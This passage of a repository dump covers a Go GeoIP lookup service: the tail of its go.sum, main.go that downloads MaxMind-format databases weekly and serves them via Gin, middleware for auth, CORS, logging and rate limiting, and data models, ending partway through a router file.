v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 117 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 118 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 119 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= 120 | github.com/oschwald/maxminddb-golang v1.13.1 h1:G3wwjdN9JmIK2o/ermkHM+98oX5fS+k5MbwsmL4MRQE= 121 | github.com/oschwald/maxminddb-golang v1.13.1/go.mod h1:K4pgV9N/GcK694KSTmVSDTODk4IsCNThNdTmnaBZ/F8= 122 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 123 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 124 | github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= 125 | github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= 126 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 127 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 128 | github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= 129 | github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= 130 | github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= 131 | github.com/samber/lo v1.47.0 h1:z7RynLwP5nbyRscyvcD043DWYoOcYRv3mV8lBeqOCLc= 132 | github.com/samber/lo v1.47.0/go.mod h1:RmDH9Ct32Qy3gduHQuKJ3gW1fMHAnE/fAzQuf6He5cU= 133 | github.com/sony/sonyflake v1.2.0 h1:Pfr3A+ejSg+0SPqpoAmQgEtNDAhc2G1SUYk205qVMLQ= 134 | github.com/sony/sonyflake v1.2.0/go.mod h1:LORtCywH/cq10ZbyfhKrHYgAUGH7mOBa76enV9txy/Y= 135 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 136 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 137 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 138 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 139 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 140 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 141 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 142 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 143 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 144 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 145 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 146 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 147 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 148 | github.com/swaggo/files v1.0.1 h1:J1bVJ4XHZNq0I46UU90611i9/YzdrF7x92oX1ig5IdE= 149 | github.com/swaggo/files v1.0.1/go.mod h1:0qXmMNH6sXNf+73t65aKeB+ApmgxdnkQzVTAj2uaMUg= 150 | github.com/swaggo/gin-swagger v1.6.0 h1:y8sxvQ3E20/RCyrXeFfg60r6H0Z+SwpTjMYsMm+zy8M= 151 | github.com/swaggo/gin-swagger v1.6.0/go.mod h1:BG00cCEy294xtVpyIAHG6+e2Qzj/xKlRdOqDkvq0uzo= 152 | github.com/swaggo/swag v1.8.12 h1:pctzkNPu0AlQP2royqX3apjKCQonAnf7KGoxeO4y64w= 153 | github.com/swaggo/swag v1.8.12/go.mod h1:lNfm6Gg+oAq3zRJQNEMBE66LIJKM44mxFqhEEgy2its= 154 | github.com/swaggo/swag v1.16.4 h1:clWJtd9LStiG3VeijiCfOVODP6VpHtKdQy9ELFG3s1A= 155 | github.com/swaggo/swag v1.16.4/go.mod h1:VBsHJRsDvfYvqoiMKnsdwhNV9LEMHgEDZcyVYX0sxPg= 156 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 157 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 158 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= 159 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 160 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 161 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 162 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc= 163 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= 164 | golang.org/x/arch v0.11.0 h1:KXV8WWKCXm6tRpLirl2szsO5j/oOODwZf4hATmGVNs4= 165 | golang.org/x/arch v0.11.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= 166 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 167 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 168 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI= 169 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 170 | golang.org/x/crypto v0.28.0 h1:GBDwsMXVQi34v5CCYUm2jkJvu4cbtru2U4TN2PSyQnw= 171 | golang.org/x/crypto v0.28.0/go.mod h1:rmgy+3RHxRZMyY0jjAJShp2zgEdOqj2AO7U0pYmeQ7U= 172 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 173 | golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= 174 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 175 | golang.org/x/mod v0.21.0 h1:vvrHzRwRfVKSiLrG+d4FMl/Qi4ukBCE6kZlTUkDYRT0= 176 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 177 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 178 | golang.org/x/net v0.0.0-20210421230115-4e50805a0758/go.mod h1:72T/g9IO56b78aLF+1Kcs5dz7/ng1VjMUvfKvpfy+jM= 179 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 180 | golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 181 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= 182 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 183 | golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= 184 | golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= 185 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 186 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 187 | golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= 188 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 189 | golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= 190 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 191 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 192 | golang.org/x/sys v0.0.0-20210420072515-93ed5bcd2bfe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 193 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 194 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 195 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 196 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 197 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 198 | golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= 199 | golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 200 | golang.org/x/sys v0.26.0 h1:KHjCJyddX0LoSTb3J+vWpupP9p0oznkqVk/IfjymZbo= 201 | golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 202 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 203 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 204 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 205 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 206 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 207 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 208 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 209 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 210 | golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= 211 | golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= 212 | golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM= 213 | golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= 214 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 215 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 216 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 217 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= 218 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 219 | golang.org/x/tools v0.26.0 h1:v/60pFQmzmT9ExmjDv2gGIfi3OqfKoEP6I5+umXlbnQ= 220 | golang.org/x/tools v0.26.0/go.mod h1:TPVVj70c7JJ3WCazhD8OdXcZg/og+b9+tH/KxylGwH0= 221 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 222 | google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= 223 | google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= 224 | google.golang.org/protobuf v1.35.1 h1:m3LfL6/Ca+fqnjnlqQXNpFPABW1UD7mjh8KO2mKFytA= 225 | google.golang.org/protobuf v1.35.1/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= 226 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 227 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 228 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 229 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 230 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 231 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 232 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 233 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 234 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 235 | gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 236 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 237 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 238 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= 239 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 240 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "net/http" 7 | "os" 8 | "strconv" 9 | "time" 10 | 11 | "github.com/gin-contrib/sessions" 12 | "github.com/gin-contrib/sessions/cookie" 13 | "github.com/gin-gonic/gin" 14 | "github.com/oschwald/maxminddb-golang" 15 | "go-geoip/common" 16 | "go-geoip/common/config" 17 | logger "go-geoip/common/loggger" 18 | "go-geoip/middleware" 19 | "go-geoip/router" 20 | ) 21 | 22 | const ( 23 | cityDBDefaultURL = "https://github.com/P3TERX/GeoLite.mmdb/raw/download/GeoLite2-City.mmdb" 24 | asnDBURL = "https://github.com/P3TERX/GeoLite.mmdb/raw/download/GeoLite2-ASN.mmdb" 25 | cnDBURL = "http://github.com/ljxi/GeoCN/releases/download/Latest/GeoCN.mmdb" 26 | sessionName = "session" 27 | ) 28 | 29 | func main() { 30 | logger.SetupLogger() 31 | logger.SysLog(fmt.Sprintf("go-geoip %s started", common.Version)) 32 | 33 | setGinMode() 34 | logDebugMode() 35 | 36 | server := setupServer() 37 | 38 | go scheduleDatabaseUpdate() 39 | 40 | runServer(server) 41 | } 42 | 43 | func setGinMode() { 44 | if os.Getenv("GIN_MODE") != "debug" { 45 | gin.SetMode(gin.ReleaseMode) 46 | } 47 | } 48 | 49 | func logDebugMode() { 50 | if config.DebugEnabled { 51 | logger.SysLog("running in debug mode") 52 | } 53 | } 54 | 55 | func setupServer() *gin.Engine { 56 | server := gin.New() 57 | server.Use(gin.Recovery(), middleware.RequestId()) 58 | middleware.SetUpLogger(server) 59 | 60 | store := cookie.NewStore([]byte(config.SessionSecret)) 61 | server.Use(sessions.Sessions(sessionName, store)) 62 | 63 | router.SetRouter(server) 64 | return server 65 | } 66 | 67 | func runServer(server *gin.Engine) { 68 | port := getPort() 69 | if err := server.Run(":" + port); err != nil { 70 | logger.FatalLog("failed to start HTTP server: %v", err) 71 | } 72 | } 73 | 74 | func getPort() string { 75 | if port := os.Getenv("PORT"); port != "" { 76 | return port 77 | } 78 | return strconv.Itoa(*common.Port) 79 | } 80 | 81 | func loadDatabases() { 82 | downloadAndSave("GeoIP-City.mmdb", getCityDBURL()) 83 | downloadAndSave("Geo-ASN.mmdb", asnDBURL) 84 | downloadAndSave("GeoCN.mmdb", cnDBURL) 85 | 86 | openDatabases() 87 | } 88 | 89 | func getCityDBURL() string { 90 | if config.CityDBRemoteUrl != "" { 91 | return config.CityDBRemoteUrl 92 | } 93 | return cityDBDefaultURL 94 | } 95 | 96 | func downloadAndSave(filename, url string) { 97 | logger.SysLog(fmt.Sprintf("Downloading %s...", filename)) 98 | resp, err := http.Get(url) 99 | if err != nil { 100 | logger.FatalLog("Failed to download %s: %v", filename, err) 101 | } 102 | defer resp.Body.Close() 103 | 104 | out, err := os.Create(filename) 105 | if err != nil { 106 | logger.FatalLog("Failed to create file %s: %v", filename, err) 107 | } 108 | defer out.Close() 109 | 110 | if _, err := io.Copy(out, resp.Body); err != nil { 111 | logger.FatalLog("Failed to save file %s: %v", filename, err) 112 | } 113 | logger.SysLog(fmt.Sprintf("Downloaded and saved %s successfully", filename)) 114 | } 115 | 116 | func openDatabases() { 117 | var err error 118 | common.Mu.Lock() 119 | defer common.Mu.Unlock() 120 | 121 | common.CityReader, err = maxminddb.Open("GeoIP-City.mmdb") 122 | if err != nil { 123 | logger.FatalLog("Error opening city database: %v", err) 124 | } 125 | 126 | common.AsnReader, err = maxminddb.Open("Geo-ASN.mmdb") 127 | if err != nil { 128 | logger.FatalLog("Error opening ASN database: %v", err) 129 | } 130 | 131 | common.CnReader, err = maxminddb.Open("GeoCN.mmdb") 132 | if err != nil { 133 | logger.FatalLog("Error opening CN database: %v", err) 134 | } 135 | } 136 | 137 | func scheduleDatabaseUpdate() { 138 | loadDatabases() 139 | 140 | for { 141 | nextUpdateTime := getNextSundayLastSecond() 142 | durationUntilUpdate := time.Until(nextUpdateTime) 143 | logger.SysLog(fmt.Sprintf("Next database update scheduled at %s, which is in %v.", nextUpdateTime, durationUntilUpdate)) 144 | 145 | timer := time.NewTimer(durationUntilUpdate) 146 | <-timer.C 147 | 148 | logger.SysLog("Updating databases...") 149 | loadDatabases() 150 | } 151 | } 152 | 153 | func getNextSundayLastSecond() time.Time { 154 | now := time.Now() 155 | daysUntilSunday := (7 - int(now.Weekday())) % 7 156 | if daysUntilSunday == 0 && now.Hour() >= 0 { 157 | daysUntilSunday = 7 158 | } 159 | return time.Date(now.Year(), now.Month(), now.Day(), 23, 59, 59, 0, now.Location()).Add(time.Duration(daysUntilSunday) * 24 * time.Hour) 160 | } 161 | -------------------------------------------------------------------------------- /middleware/auth.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | "github.com/samber/lo" 6 | "go-geoip/common" 7 | "go-geoip/common/config" 8 | "net/http" 9 | "strings" 10 | ) 11 | 12 | func isValidSecret(secret string) bool { 13 | return config.ApiSecret != "" && !lo.Contains(config.ApiSecrets, secret) 14 | } 15 | 16 | func authHelper(c *gin.Context) { 17 | secret := c.Request.Header.Get("Authorization") 18 | secret = strings.Replace(secret, "Bearer ", "", 1) 19 | if isValidSecret(secret) { 20 | common.SendResponse(c, http.StatusUnauthorized, 1, "auth fail", nil) 21 | c.Abort() 22 | return 23 | } 24 | 25 | if config.ApiSecret == "" { 26 | c.Request.Header.Set("Authorization", "") 27 | } 28 | 29 | c.Next() 30 | return 31 | } 32 | 33 | func Auth() func(c *gin.Context) { 34 | return func(c *gin.Context) { 35 | authHelper(c) 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /middleware/cors.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "github.com/gin-contrib/cors" 5 | "github.com/gin-gonic/gin" 6 | ) 7 | 8 | func CORS() gin.HandlerFunc { 9 | config := cors.DefaultConfig() 10 | config.AllowAllOrigins = true 11 | config.AllowCredentials = true 12 | config.AllowMethods = []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"} 13 | config.AllowHeaders = []string{"*"} 14 | return cors.New(config) 15 | } 16 | -------------------------------------------------------------------------------- /middleware/logger.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gin-gonic/gin" 6 | "go-geoip/common/helper" 7 | ) 8 | 9 | func SetUpLogger(server *gin.Engine) { 10 | server.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string { 11 | var requestID string 12 | if param.Keys != nil { 13 | requestID = param.Keys[helper.RequestIdKey].(string) 14 | } 15 | return fmt.Sprintf("[GIN] %s | %s | %3d | %13v | %15s | %7s %s\n", 16 | param.TimeStamp.Format("2006/01/02 - 15:04:05"), 17 | requestID, 18 | param.StatusCode, 19 | param.Latency, 20 | param.ClientIP, 21 | param.Method, 22 | param.Path, 23 | ) 24 | })) 25 | } 26 | -------------------------------------------------------------------------------- /middleware/rate-limit.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | "go-geoip/common" 6 | "go-geoip/common/config" 7 | "net/http" 8 | ) 9 | 10 | var timeFormat = "2006-01-02T15:04:05.000Z" 11 | 12 | var inMemoryRateLimiter common.InMemoryRateLimiter 13 | 14 | func memoryRateLimiter(c *gin.Context, maxRequestNum int, duration int64, mark string) { 15 | key := mark + c.ClientIP() 16 | if !inMemoryRateLimiter.Request(key, maxRequestNum, duration) { 17 | c.JSON(http.StatusTooManyRequests, gin.H{ 18 | "success": false, 19 | "message": "请求过于频繁,请稍后再试", 20 | }) 21 | c.Abort() 22 | return 23 | } 24 | } 25 | 26 | func rateLimitFactory(maxRequestNum int, duration int64, mark string) func(c *gin.Context) { 27 | // It's safe to call multi times. 28 | inMemoryRateLimiter.Init(config.RateLimitKeyExpirationDuration) 29 | return func(c *gin.Context) { 30 | memoryRateLimiter(c, maxRequestNum, duration, mark) 31 | } 32 | } 33 | 34 | func RequestRateLimit() func(c *gin.Context) { 35 | return rateLimitFactory(config.RequestRateLimitNum, config.RequestRateLimitDuration, "REQUEST_RATE_LIMIT") 36 | } 37 | -------------------------------------------------------------------------------- /middleware/request-id.go: -------------------------------------------------------------------------------- 1 | package middleware 2 | 3 | import ( 4 | "context" 5 | "github.com/gin-gonic/gin" 6 | "go-geoip/common/helper" 7 | ) 8 | 9 | func RequestId() func(c *gin.Context) { 10 | return func(c *gin.Context) { 11 | id := helper.GenRequestID() 12 | c.Set(helper.RequestIdKey, id) 13 | ctx := context.WithValue(c.Request.Context(), helper.RequestIdKey, id) 14 | c.Request = c.Request.WithContext(ctx) 15 | c.Header(helper.RequestIdKey, id) 16 | c.Next() 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /model/main.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | // ASN represents the ASN database structure. 4 | type ASN struct { 5 | Number uint `maxminddb:"autonomous_system_number"` 6 | Organization string `maxminddb:"autonomous_system_organization"` 7 | } 8 | 9 | // Location represents the geographical location with latitude and longitude. 10 | type Location struct { 11 | Latitude float64 `maxminddb:"latitude"` 12 | Longitude float64 `maxminddb:"longitude"` 13 | } 14 | 15 | // City represents the City database structure. 16 | type City struct { 17 | Country CountryInfo `maxminddb:"country"` 18 | RegisteredCountry CountryInfo `maxminddb:"registered_country"` 19 | Subdivisions []Subdivision `maxminddb:"subdivisions"` 20 | City NameInfo `maxminddb:"city"` 21 | Location Location `maxminddb:"location"` // Add this line 22 | } 23 | 24 | // CountryInfo represents country information in the database. 25 | type CountryInfo struct { 26 | ISOCode string `maxminddb:"iso_code"` 27 | Names map[string]string `maxminddb:"names"` 28 | } 29 | 30 | // Subdivision represents subdivision information in the database. 31 | type Subdivision struct { 32 | Names map[string]string `maxminddb:"names"` 33 | } 34 | 35 | // NameInfo represents name information in the database. 36 | type NameInfo struct { 37 | Names map[string]string `maxminddb:"names"` 38 | } 39 | 40 | // GeoCN represents the GeoCN database structure. 41 | type GeoCN struct { 42 | Province string `maxminddb:"province"` 43 | City string `maxminddb:"city"` 44 | Districts string `maxminddb:"districts"` 45 | ISP string `maxminddb:"isp"` 46 | Net string `maxminddb:"net"` 47 | } 48 | 49 | type IPInfoResponse struct { 50 | Addr string `json:"addr" swaggertype:"string" description:"地址"` 51 | AS string `json:"as" swaggertype:"string" description:"as"` 52 | Country string `json:"country" swaggertype:"string" description:"国家"` 53 | IP string `json:"ip" swaggertype:"string" description:"ip"` 54 | Latitude float64 `json:"latitude" swaggertype:"string" description:"纬度"` 55 | Longitude float64 `json:"longitude" swaggertype:"string" description:"经度"` 56 | Subdivisions []string `json:"subdivisions" swaggertype:"array,string" description:"分区"` 57 | Province string `json:"province" swaggertype:"string" description:"省"` 58 | City string `json:"city" swaggertype:"string" description:"市"` 59 | District string `json:"district" swaggertype:"string" description:"区"` 60 | RegisteredCountry string `json:"registered_country" swaggertype:"string" description:"注册国家"` 61 | } 62 | -------------------------------------------------------------------------------- /router/api-router.go: -------------------------------------------------------------------------------- 1 | package router 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | swaggerFiles "github.com/swaggo/files" 6 | ginSwagger "github.com/swaggo/gin-swagger" 7 | "go-geoip/common/config" 8 | "go-geoip/controller" 9 | _ "go-geoip/docs" 10 | "go-geoip/middleware" 11 | ) 12 | 13 | func SetApiRouter(router *gin.Engine) { 14 | 15 | // 全局 Middlewares 16 | router.Use(middleware.CORS()) 17 | router.Use(middleware.RequestRateLimit()) 18 | 19 | if config.SwaggerEnable == "" || config.SwaggerEnable == "1" { 20 | router.GET("/swagger/*any", 